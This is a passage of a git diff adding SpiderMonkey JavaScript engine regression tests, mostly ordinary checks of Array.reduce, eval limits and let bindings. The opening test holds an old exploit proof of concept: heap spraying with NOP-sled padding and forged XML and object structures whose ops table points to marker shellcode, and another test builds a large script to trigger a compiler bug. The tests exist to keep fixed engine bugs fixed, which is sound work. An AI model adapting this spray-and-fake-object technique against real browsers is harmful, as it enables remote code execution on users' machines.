+var targetAddress = 0x12030010;
+var sprayParams = {
+ chunkSize: 16 * 1024 * 1024,
+ chunkCount: 16,
+ chunkMarker: 0xdeadface,
+ chunkAlign: 0x1000,
+ reservedSize: 1024
+};
+
+function makeExploitCode() {
+ /* mov eax, 0xdeadfeed; mov ebx, eax; mov ecx, eax; mov edx, eax; int3 */
+ return "\uEDB8\uADFE\u89DE\u89C3\u89C1\uCCC2";
+}
+
+/*==========================================================================*/
+/*==========================================================================*/
+
+function packData(template, A) {
+ var n = 0, result = "", vl;
+ for(var i = 0; i < template.length; i++) {
+ var ch = template.charAt(i);
+ if(ch == "s" || ch == "S") {
+ vl = A[n++] >>> 0; result += String.fromCharCode(vl & 0xffff);
+ } else if(ch == "l" || ch == "L") { // XXX endian
+ vl = A[n++] >>> 0; result += String.fromCharCode(vl & 0xffff, vl >> 16);
+ } else if(ch == "=") {
+ result += String(A[n++]);
+ }
+ }
+ return result;
+}
+function buildStructure(worker, address) {
+ var offs = {}, result = "", context = {
+ append: function(k, v) { offs[k] = result.length * 2; result += v; },
+ address: function(k) { return address + ((k && offs[k]) || 0); }
+ }; worker(context); result = ""; worker(context); return result;
+}
+function repeatToLength(s, L) {
+ if(L <= s.length) { return s.substring(0, L); }
+ while(s.length <= L/2) { s += s; }
+ return s + s.substring(0, L - s.length);
+}
+function sprayData(data, params, rooter) {
+ var marker = packData("L", [ params.chunkMarker ]);
+ data += repeatToLength("\u9090", params.chunkAlign / 2 - data.length);
+ data = repeatToLength(data, (params.chunkSize - params.reservedSize) / 2);
+ for(var i = 0; i < params.chunkCount; i++) {
+ rooter[i] = marker + data + i;
+ }
+}
+
+function T_JSObject(map, slots)
+{ return packData("LL", arguments); }
+function T_JSObjectMap(nrefs, ops, nslots, freeslot)
+{ return packData("LLLL", arguments); }
+function T_JSObjectOps(
+ newObjectMap, destroyObjectMap, lookupProperty, defineProperty,
+ getProperty, setProperty, getAttributes, setAttributes,
+ deleteProperty, defaultValue, enumerate, checkAccess,
+ thisObject, dropProperty, call, construct,
+ xdrObject, hasInstance, setProto, setParent,
+ mark, clear, getRequiredSlot, setRequiredSlot
+) { return packData("LLLLLLLL LLLLLLLL LLLLLLLL", arguments); }
+
+function T_JSXML_LIST(
+ object, domnode, parent, name, xml_class, xml_flags,
+ kids_length, kids_capacity, kids_vector, kids_cursors,
+ xml_target, xml_targetprop
+) { return packData("LLLLSS LLLL LL", arguments); }
+function T_JSXML_ELEMENT(
+ object, domnode, parent, name, xml_class, xml_flags,
+ kids_length, kids_capacity, kids_vector, kids_cursors,
+ nses_length, nses_capacity, nses_vector, nses_cursors,
+ atrs_length, atrs_capacity, atrs_vector, atrs_cursors
+) { return packData("LLLLSS LLLL LLLL LLLL", arguments); }
+
+/*==========================================================================*/
+/*==========================================================================*/
+
+function makeExploitData(address) {
+ return buildStructure(function(ctx) {
+ ctx.append("xml-list",
+ T_JSXML_LIST(0, 0, 0, 0, 0, 0, 1, 0, ctx.address("xml-kids-vector"), 0, 0, 0));
+ ctx.append("xml-kids-vector",
+ packData("L", [ ctx.address("xml-element") ]));
+ ctx.append("xml-element",
+ T_JSXML_ELEMENT(ctx.address("object"), 0, 0, 0, 1, 0, 0, 0, 0, 0, /*c*/ 0, 0, 0, 0, /*d*/ 0, 0, 0, 0));
+ ctx.append("object",
+ T_JSObject(ctx.address("object-map"), 0));
+ ctx.append("object-map",
+ T_JSObjectMap(0, ctx.address("object-ops"), 0, 0));
+ ctx.append("object-ops",
+ T_JSObjectOps(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, ctx.address("exploit-code"), 0));
+ ctx.append("exploit-code",
+ makeExploitCode(ctx));
+ }, address);
+}
+
+function exploit() {
+ sprayData(makeExploitData(targetAddress), sprayParams, this.rooter = {});
+ var numobj = new Number(targetAddress >> 1);
+ printStatus("probably not exploitable");
+}
+
+try
+{
+ exploit();
+}
+catch(ex)
+{
+}
+
+reportCompare(expect, actual);
+
diff --git a/js/src/tests/non262/regress/regress-355829-01.js b/js/src/tests/non262/regress/regress-355829-01.js
new file mode 100644
index 0000000000..fa94cce9ff
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-355829-01.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 355829;
+var summary = 'Do not assert: !argc || argv[0].isNull() || argv[0].isUndefined()';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ new Object({valueOf: /a/});
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-355829-02.js b/js/src/tests/non262/regress/regress-355829-02.js
new file mode 100644
index 0000000000..ac633ad1ae
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-355829-02.js
@@ -0,0 +1,38 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 355829;
+var summary = 'js_ValueToObject should return the original object if OBJ_DEFAULT_VALUE returns a primitive value';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = actual = 'Good conversion';
+
+ var primitiveValues = [
+ true, false, 0, 1, -2, 0.1, -2e100, 0/0, 1/0, -1/1, "", "xxx",
+ undefined, null
+ ];
+
+ for (var i = 0; i != primitiveValues.length; ++i) {
+ var v = primitiveValues[i];
+ var obj = { valueOf: function() { return v; } };
+ var obj2 = Object(obj);
+ if (obj !== obj2)
+ actual = "Bad conversion for '"+v + "'";
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-355829-03.js b/js/src/tests/non262/regress/regress-355829-03.js
new file mode 100644
index 0000000000..0343e9c7db
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-355829-03.js
@@ -0,0 +1,26 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 355829;
+var summary = 'js_ValueToObject should return the original object if OBJ_DEFAULT_VALUE returns a primitive value';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var a = [ { valueOf: function() { return null; } } ];
+ a.toLocaleString();
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-355832-01.js b/js/src/tests/non262/regress/regress-355832-01.js
new file mode 100644
index 0000000000..d9b9dacbef
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-355832-01.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 355832;
+var summary = 'execution of let binding nothing';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = actual = 'No Crash';
+
+ { let [] = []; }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-355832-02.js b/js/src/tests/non262/regress/regress-355832-02.js
new file mode 100644
index 0000000000..5a5f128b03
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-355832-02.js
@@ -0,0 +1,27 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 355832;
+var summary = 'execution of let binding nothing';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = actual = 'No Crash';
+
+ { let [] = []; print(3) } print(4)
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-356250.js b/js/src/tests/non262/regress/regress-356250.js
new file mode 100644
index 0000000000..a0756b77e0
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-356250.js
@@ -0,0 +1,38 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 356250;
+var summary = 'Do not assert: !fp->fun || !(fp->fun->flags & JSFUN_HEAVYWEIGHT) || fp->callobj';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+(function() { eval("(function() { })"); })();
+reportCompare(expect, actual, summary + ': nested 0');
+
+//-----------------------------------------------------------------------------
+test1();
+test2();
+//-----------------------------------------------------------------------------
+
+function test1()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ (function() { eval("(function() { })"); })();
+
+ reportCompare(expect, actual, summary + ': nested 1');
+}
+
+function test2()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ (function () {(function() { eval("(function() { })"); })();})();
+
+ reportCompare(expect, actual, summary + ': nested 2');
+}
diff --git a/js/src/tests/non262/regress/regress-356693.js b/js/src/tests/non262/regress/regress-356693.js
new file mode 100644
index 0000000000..6a1301f797
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-356693.js
@@ -0,0 +1,33 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 356693;
+var summary = 'Do not assert: pn2->pn_op == JSOP_SETCALL';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'ReferenceError: x is not defined';
+ try
+ {
+ delete (0 ? 3 : x());
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-360969-01.js b/js/src/tests/non262/regress/regress-360969-01.js
new file mode 100644
index 0000000000..a04acd6c87
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-360969-01.js
@@ -0,0 +1,39 @@
+// |reftest| skip-if(Android&&isDebugBuild) slow -- bug 1216226
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 360969;
+var summary = '2^17: local var';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+var global = this;
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var start = new Date();
+ var p;
+ var i;
+ var limit = 2 << 16;
+
+ for (var i = 0; i < limit; i++)
+ {
+ eval('var pv;');
+ }
+
+ reportCompare(expect, actual, summary);
+
+ var stop = new Date();
+
+ print('Elapsed time: ' + Math.floor((stop - start)/1000) + ' seconds');
+}
diff --git a/js/src/tests/non262/regress/regress-360969-02.js b/js/src/tests/non262/regress/regress-360969-02.js
new file mode 100644
index 0000000000..7ab7efed1f
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-360969-02.js
@@ -0,0 +1,32 @@
+// |reftest| skip-if(Android&&isDebugBuild) slow -- bug 1216226
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 360969;
+var summary = '2^17: global var';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+var global = this;
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var start = new Date();
+var p;
+var i;
+var limit = 2 << 16;
+
+for (var i = 0; i < limit; i++)
+{
+ eval('var pv;');
+}
+
+reportCompare(expect, actual, summary);
+
+var stop = new Date();
+
+print('Elapsed time: ' + Math.floor((stop - start)/1000) + ' seconds');
diff --git a/js/src/tests/non262/regress/regress-360969-03.js b/js/src/tests/non262/regress/regress-360969-03.js
new file mode 100644
index 0000000000..ff07e59a62
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-360969-03.js
@@ -0,0 +1,39 @@
+// |reftest| skip-if(Android&&isDebugBuild) slow -- bug 1216226
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 360969;
+var summary = '2^17: local const';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+var global = this;
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var start = new Date();
+ var p;
+ var i;
+ var limit = 2 << 16;
+
+ for (var i = 0; i < limit; i++)
+ {
+ eval('const pv' + i + ' = undefined;');
+ }
+
+ reportCompare(expect, actual, summary);
+
+ var stop = new Date();
+
+ print('Elapsed time: ' + Math.floor((stop - start)/1000) + ' seconds');
+}
diff --git a/js/src/tests/non262/regress/regress-360969-04.js b/js/src/tests/non262/regress/regress-360969-04.js
new file mode 100644
index 0000000000..d33dbbc213
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-360969-04.js
@@ -0,0 +1,32 @@
+// |reftest| skip-if(Android&&isDebugBuild) slow -- bug 1216226
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 360969;
+var summary = '2^17: global const';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+var global = this;
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var start = new Date();
+var p;
+var i;
+var limit = 2 << 16;
+
+for (var i = 0; i < limit; i++)
+{
+ eval('const pv' + i + ' = undefined;');
+}
+
+reportCompare(expect, actual, summary);
+
+var stop = new Date();
+
+print('Elapsed time: ' + Math.floor((stop - start)/1000) + ' seconds');
diff --git a/js/src/tests/non262/regress/regress-360969-05.js b/js/src/tests/non262/regress/regress-360969-05.js
new file mode 100644
index 0000000000..b83aeaf84f
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-360969-05.js
@@ -0,0 +1,41 @@
+// |reftest| skip-if(Android&&isDebugBuild) slow -- bug 1216226
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 360969;
+var summary = '2^17: local function';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+var global = this;
+
+//-----------------------------------------------------------------------------
+test();
+
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var start = new Date();
+ var p;
+ var i;
+ var limit = 2 << 16;
+
+ for (var i = 0; i < limit; i++)
+ {
+ eval('function pf' + i + '() {}');
+ }
+
+ reportCompare(expect, actual, summary);
+
+ var stop = new Date();
+
+ print('Elapsed time: ' + Math.floor((stop - start)/1000) + ' seconds');
+}
+
diff --git a/js/src/tests/non262/regress/regress-360969-06.js b/js/src/tests/non262/regress/regress-360969-06.js
new file mode 100644
index 0000000000..cd95040fba
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-360969-06.js
@@ -0,0 +1,33 @@
+// |reftest| skip-if(Android&&isDebugBuild) slow -- bug 1216226
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 360969;
+var summary = '2^17: global function';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+var global = this;
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var start = new Date();
+var p;
+var i;
+var limit = 2 << 16;
+
+for (var i = 0; i < limit; i++)
+{
+ eval('function pf' + i + '() {}');
+}
+
+reportCompare(expect, actual, summary);
+
+var stop = new Date();
+
+print('Elapsed time: ' + Math.floor((stop - start)/1000) + ' seconds');
+
diff --git a/js/src/tests/non262/regress/regress-363040-01.js b/js/src/tests/non262/regress/regress-363040-01.js
new file mode 100644
index 0000000000..7b2d84c974
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-363040-01.js
@@ -0,0 +1,92 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 363040;
+var summary = 'Array.prototype.reduce, Array.prototype.reduceRight';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function f(x,y) { return '(' + x + '+' + y + ')';}
+
+ var testdesc;
+ var arr0elms = [];
+ var arr1elms = [1];
+ var arr2elms = [1, 2];
+
+ testdesc = 'Test reduce of empty array without initializer.';
+ try
+ {
+ expect = 'TypeError: reduce of empty array with no initial value';
+ arr0elms.reduce(f);
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect + '', actual + '', testdesc + ' : ' + expect);
+
+ testdesc = 'Test reduceRight of empty array without initializer.';
+ try
+ {
+ expect = 'TypeError: reduce of empty array with no initial value';
+ arr0elms.reduceRight(f);
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect + '', actual + '', testdesc + ' : ' + expect);
+
+ testdesc = 'Test reduce of empty array with initial value.';
+ expect = 'a';
+ actual = arr0elms.reduce(f, 'a');
+ reportCompare(expect + '', actual + '', testdesc + ' : ' + expect);
+
+ testdesc = 'Test reduceRight of empty array with initial value.';
+ expect = 'a';
+ actual = arr0elms.reduceRight(f, 'a');
+ reportCompare(expect + '', actual + '', testdesc +' : ' + expect);
+
+ testdesc = 'Test reduce of 1 element array with no initializer.';
+ expect = '1';
+ actual = arr1elms.reduce(f);
+ reportCompare(expect + '', actual + '', testdesc + ' : ' + expect);
+
+ testdesc = 'Test reduceRight of 1 element array with no initializer.';
+ expect = '1';
+ actual = arr1elms.reduceRight(f);
+ reportCompare(expect + '', actual + '', testdesc + ' : ' + expect);
+
+ testdesc = 'Test reduce of 2 element array with no initializer.';
+ expect = '(1+2)';
+ actual = arr2elms.reduce(f);
+ reportCompare(expect + '', actual + '', testdesc + ' : ' + expect);
+
+ testdesc = 'Test reduce of 2 element array with initializer.';
+ expect = '((a+1)+2)';
+ actual = arr2elms.reduce(f,'a');
+ reportCompare(expect + '', actual + '', testdesc + ' : ' + expect);
+
+ testdesc = 'Test reduceRight of 2 element array with no initializer.';
+ expect = '(2+1)';
+ actual = arr2elms.reduceRight(f);
+ reportCompare(expect + '', actual + '', testdesc + ' : ' + expect);
+
+ testdesc = 'Test reduceRight of 2 element array with no initializer.';
+ expect = '((a+2)+1)';
+ actual = arr2elms.reduceRight(f,'a');
+ reportCompare(expect + '', actual + '', testdesc + ' : ' + expect);
+}
diff --git a/js/src/tests/non262/regress/regress-363040-02.js b/js/src/tests/non262/regress/regress-363040-02.js
new file mode 100644
index 0000000000..043b7db779
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-363040-02.js
@@ -0,0 +1,64 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 363040;
+var summary = 'Array.prototype.reduce application in array flattening';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function flatten(arr)
+ {
+ function op(partial, item)
+ {
+ if (item instanceof Array)
+ Array.prototype.push.apply(partial, flatten(item));
+ else
+ partial.push(item);
+
+ return partial;
+ }
+
+ return arr.reduce(op, []);
+ }
+
+ expect = [1, 2, 3];
+ actual = flatten([1, 2, 3]); // [1, 2, 3]
+ reportCompare(expect + '', actual + '', summary + ': ' + expect);
+
+ expect = [1, 2, 3];
+ actual = flatten([1, [2], 3]); // [1, 2, 3]
+ reportCompare(expect + '', actual + '', summary + ': ' + expect);
+
+ expect = [2, 3];
+ actual = flatten([[], 2, 3]); // [2, 3]
+ reportCompare(expect + '', actual + '', summary + ': ' + expect);
+
+ expect = [1, 2, 3];
+ actual = flatten([[1], 2, 3]); // [1, 2, 3]
+ reportCompare(expect + '', actual + '', summary + ': ' + expect);
+
+ expect = [4];
+ actual = flatten([[[[4]]]]); // [4]
+ reportCompare(expect + '', actual + '', summary + ': ' + expect);
+
+ expect = [1, 2, 3];
+ actual = flatten([1, [2, [3]]]); // [1, 2, 3]
+ reportCompare(expect + '', actual + '', summary + ': ' + expect);
+
+ expect = [];
+ actual = flatten([[[[[]]]]]); // []
+ reportCompare(expect + '', actual + '', summary + ': ' + expect);
+}
diff --git a/js/src/tests/non262/regress/regress-3649-n.js b/js/src/tests/non262/regress/regress-3649-n.js
new file mode 100644
index 0000000000..71f184d702
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-3649-n.js
@@ -0,0 +1,32 @@
+// |reftest| random -- may cause random oom related errors.
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+// testcase from bug 2235 mff@research.att.com
+var BUGNUMBER = 3649;
+var summary = 'gc-checking branch callback.';
+var actual = 'error';
+var expect = 'error';
+
+DESCRIPTION = summary;
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+expectExitCode(0);
+expectExitCode(3);
+expectExitCode(5);
+
+var s = "";
+s = "abcd";
+for (i = 0; i < 100000; i++) {
+ s += s;
+}
+
+expect = 'No Crash';
+actual = 'No Crash';
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-366122.js b/js/src/tests/non262/regress/regress-366122.js
new file mode 100644
index 0000000000..e47f202d19
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-366122.js
@@ -0,0 +1,43 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 366122;
+var summary = 'Compile large script';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function exploit() {
+ var code = "", obj = {};
+ for(var i = 0; i < 0x10000; i++) {
+ if(i == 10242) {
+ code += "void 0x10000050505050;\n";
+ } else {
+ code += "void 'x" + i + "';\n";
+ }
+ }
+ code += "export undefined;\n";
+ code += "void 125;\n";
+ eval(code);
+ }
+ try
+ {
+ exploit();
+ }
+ catch(ex)
+ {
+ }
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-366468.js b/js/src/tests/non262/regress/regress-366468.js
new file mode 100644
index 0000000000..3c84c0331f
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-366468.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 366468;
+var summary = 'Set property without setter';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ function o(){} o.prototype = {get foo() {}}; obj = new o(); obj.foo = 2;
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-366601.js b/js/src/tests/non262/regress/regress-366601.js
new file mode 100644
index 0000000000..9b1f4865a2
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-366601.js
@@ -0,0 +1,35 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 366601;
+var summary = 'Switch with more than 64k atoms';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var N = 100*1000;
+ var src = 'var x = ["';
+ var array = Array(N);
+ for (var i = 0; i != N; ++i)
+ array[i] = i;
+ src += array.join('","')+'"];\n';
+ src += 'switch (a) { case "a": case "b": case "c": return null; } return x;';
+ var f = Function('a', src);
+ var r = f("a");
+ if (r !== null)
+ throw "Unexpected result: bad switch label";
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-367561-01.js b/js/src/tests/non262/regress/regress-367561-01.js
new file mode 100644
index 0000000000..acdc256673
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-367561-01.js
@@ -0,0 +1,34 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 367561;
+var summary = 'JSOP_(GET|SET)METHOD and JSOP_SETCONST with > 64K atoms';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var N = 1 << 16;
+ var src = 'var x = /';
+ var array = Array();
+ for (var i = 0; i != N/2; ++i)
+ array[i] = i;
+ src += array.join('/;x=/')+'/; x="';
+ src += array.join('";x="')+'";';
+ src += 'y.some_function();';
+ var f = Function(src);
+ var src2 = f.toString();
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-367561-03.js b/js/src/tests/non262/regress/regress-367561-03.js
new file mode 100644
index 0000000000..17ca443f8f
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-367561-03.js
@@ -0,0 +1,33 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 367561;
+var summary = 'JSOP_(GET|SET)METHOD and JSOP_SETCONST with > 64K atoms';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
